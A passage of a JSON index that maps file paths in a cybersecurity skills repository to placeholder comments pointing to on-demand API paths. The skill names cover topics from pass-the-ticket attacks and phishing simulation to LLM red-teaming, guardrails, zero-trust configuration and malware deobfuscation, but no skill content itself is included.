/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Fassets%2Ftemplate.md -->","skills/conducting-pass-the-ticket-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fapi-reference.md -->","skills/conducting-pass-the-ticket-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fstandards.md -->","skills/conducting-pass-the-ticket-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fworkflows.md -->","skills/conducting-phishing-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2FSKILL.md -->","skills/conducting-phishing-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-post-incident-lessons-learned/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2FSKILL.md -->","skills/conducting-post-incident-lessons-learned/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Fassets%2Ftemplate.md -->","skills/conducting-post-incident-lessons-learned/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fapi-reference.md -->","skills/conducting-post-incident-lessons-learned/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fstandards.md -->","skills/conducting-post-incident-lessons-learned/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fworkflows.md -->","skills/conducting-social-engineering-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2FSKILL.md -->","skills/conducting-social-engineering-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Fassets%2Ftemplate.md -->","skills/conducting-social-engineering-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-social-engineering-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fstandards.md -->","skills/conducting-social-engineering-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fworkflows.md -->","skills/conducting-social-engineering-pretext-call/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2FSKILL.md -->","skills/conducting-social-engineering-pretext-call/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Fassets%2Ftemplate.md -->","skills/conducting-social-engineering-pretext-call/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fapi-reference.md -->","skills/conducting-social-engineering-pretext-call/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fstandards.md -->","skills/conducting-social-engineering-pretext-call/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fworkflows.md -->","skills/conducting-spearphishing-simulation-campaign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2FSKILL.md -->","skills/conducting-spearphishing-simulation-campaign/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Fassets%2Ftemplate.md -->","skills/conducting-spearphishing-simulation-campaign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","skills/conducting-spearphishing-simulation-campaign/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fstandards.md -->","skills/conducting-spearphishing-simulation-campaign/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fworkflows.md -->","skills/conducting-wireless-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2FSKILL.md -->","skills/conducting-wireless-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/configuring-active-directory-tiered-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2FSKILL.md -->","skills/configuring-active-directory-tiered-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2Freferences%2Fapi-reference.md -->","skills/configuring-aws-verified-access-for-ztna/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2FSKILL.md -->","skills/configuring-aws-verified-access-for-ztna/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Fassets%2Ftemplate.md -->","skills/configuring-aws-verified-access-for-ztna/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fapi-reference.md -->","skills/configuring-aws-verified-access-for-ztna/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fstandards.md -->","skills/configuring-aws-verified-access-for-ztna/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fworkflows.md -->","skills/configuring-certificate-authority-with-openssl/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2FSKILL.md -->","skills/configuring-certificate-authority-with-openssl/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Fassets%2Ftemplate.md -->","skills/configuring-certificate-authority-with-openssl/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fapi-reference.md -->","skills/configuring-certificate-authority-with-openssl/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fstandards.md -->","skills/configuring-certificate-authority-with-openssl/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fworkflows.md -->","skills/configuring-host-based-intrusion-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2FSKILL.md -->","skills/configuring-host-based-intrusion-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Fassets%2Ftemplate.md -->","skills/configuring-host-based-intrusion-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-host-based-intrusion-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fstandards.md -->","skills/configuring-host-based-intrusion-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fworkflows.md -->","skills/configuring-hsm-for-key-storage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2FSKILL.md -->","skills/configuring-hsm-for-key-storage/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Fassets%2Ftemplate.md -->","skills/configuring-hsm-for-key-storage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fapi-reference.md -->","skills/configuring-hsm-for-key-storage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fstandards.md -->","skills/configuring-hsm-for-key-storage/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-hsm-for-key-storage%2Freferences%2Fworkflows.md -->","skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2FSKILL.md -->","skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Fassets%2Ftemplate.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fapi-reference.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fstandards.md -->","skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-identity-aware-proxy-with-google-iap%2Freferences%2Fworkflows.md -->","skills/configuring-ldap-security-hardening/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2FSKILL.md -->","skills/configuring-ldap-security-hardening/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-ldap-security-hardening%2Freferences%2Fapi-reference.md -->","skills/configuring-microsegmentation-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2FSKILL.md -->","skills/configuring-microsegmentation-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/configuring-microsegmentation-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/configuring-microsegmentation-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fstandards.md -->","skills/configuring-microsegmentation-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-microsegmentation-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/configuring-multi-factor-authentication-with-duo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2FSKILL.md -->","skills/configuring-multi-factor-authentication-with-duo/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Fassets%2Ftemplate.md -->","skills/configuring-multi-factor-authentication-with-duo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fapi-reference.md -->","skills/configuring-multi-factor-authentication-with-duo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fstandards.md -->","skills/configuring-multi-factor-authentication-with-duo/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-multi-factor-authentication-with-duo%2Freferences%2Fworkflows.md -->","skills/configuring-network-segmentation-with-vlans/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2FSKILL.md -->","skills/configuring-network-segmentation-with-vlans/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-network-segmentation-with-vlans%2Freferences%2Fapi-reference.md -->","skills/configuring-oauth2-authorization-flow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2FSKILL.md -->","skills/configuring-oauth2-authorization-flow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Fassets%2Ftemplate.md -->","skills/configuring-oauth2-authorization-flow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fapi-reference.md -->","skills/configuring-oauth2-authorization-flow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fstandards.md -->","skills/configuring-oauth2-authorization-flow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-oauth2-authorization-flow%2Freferences%2Fworkflows.md -->","skills/configuring-pfsense-firewall-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2FSKILL.md -->","skills/configuring-pfsense-firewall-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-pfsense-firewall-rules%2Freferences%2Fapi-reference.md -->","skills/configuring-snort-ids-for-intrusion-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2FSKILL.md -->","skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-snort-ids-for-intrusion-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-suricata-for-network-monitoring/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.es.md -->","skills/configuring-suricata-for-network-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2FSKILL.md -->","skills/configuring-suricata-for-network-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-suricata-for-network-monitoring%2Freferences%2Fapi-reference.md -->","skills/configuring-tls-1-3-for-secure-communications/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2FSKILL.md -->","skills/configuring-tls-1-3-for-secure-communications/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Fassets%2Ftemplate.md -->","skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fapi-reference.md -->","skills/configuring-tls-1-3-for-secure-communications/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fstandards.md -->","skills/configuring-tls-1-3-for-secure-communications/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fworkflows.md -->","skills/configuring-windows-defender-advanced-settings/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2FSKILL.md -->","skills/configuring-windows-defender-advanced-settings/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Fassets%2Ftemplate.md -->","skills/configuring-windows-defender-advanced-settings/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fapi-reference.md -->","skills/configuring-windows-defender-advanced-settings/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fstandards.md -->","skills/configuring-windows-defender-advanced-settings/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fworkflows.md -->","skills/configuring-windows-event-logging-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2FSKILL.md -->","skills/configuring-windows-event-logging-for-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Fassets%2Ftemplate.md -->","skills/configuring-windows-event-logging-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-windows-event-logging-for-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fstandards.md -->","skills/configuring-windows-event-logging-for-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fworkflows.md -->","skills/configuring-zscaler-private-access-for-ztna/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2FSKILL.md -->","skills/configuring-zscaler-private-access-for-ztna/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Fassets%2Ftemplate.md -->","skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fapi-reference.md -->","skills/configuring-zscaler-private-access-for-ztna/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fstandards.md -->","skills/configuring-zscaler-private-access-for-ztna/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fworkflows.md -->","skills/containing-active-breach/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2FSKILL.md -->","skills/containing-active-breach/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2Freferences%2Fapi-reference.md -->","skills/continuous-llm-red-teaming-with-promptfoo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2FSKILL.md -->","skills/continuous-llm-red-teaming-with-promptfoo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fapi-reference.md -->","skills/continuous-llm-red-teaming-with-promptfoo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fstandards.md -->","skills/correlating-security-events-in-qradar/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2FSKILL.md -->","skills/correlating-security-events-in-qradar/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2Freferences%2Fapi-reference.md -->","skills/correlating-threat-campaigns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2FSKILL.md -->","skills/correlating-threat-campaigns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2Freferences%2Fapi-reference.md -->","skills/defending-llms-with-guardrails/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2FSKILL.md -->","skills/defending-llms-with-guardrails/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fapi-reference.md -->","skills/defending-llms-with-guardrails/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fstandards.md -->","skills/deobfuscating-javascript-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2FSKILL.md -->","skills/deobfuscating-javascript-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2Freferences%2Fapi-reference.md -->","skills/deobfuscating-powershell-obfuscated-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2FSKILL.md -->","skills/deobfuscating-powershell-obfuscated-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Fassets%2Ftemplate.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fapi-reference.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fstandards.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fworkflows.md -->","skills/deploying-active-directory-honeytokens/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2FSKILL.md -->","skills/deploying-active-directory-honeytokens/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2Freferences%2Fapi-reference.md -->","skills/deploying-cloud-deception-with-decoy-resources/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2FSKILL.md -->","skills/deploying-cloud-deception-with-decoy-resources/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Fassets%2Ftemplate.md -->","skills/deploying-cloud-deception-with-decoy-resources/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Freferences%2Fstandards.md -->","skills/deploying-cloudflare-access-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2FSKILL.md -->","skills/deploying-cloudflare-access-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fstandards.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/deploying-decoy-files-for-ransomware-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2FSKILL.md -->","skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","skills/deploying-edr-agent-with-crowdstrike/SKILL.md":"<!-- Skill available on-demand via 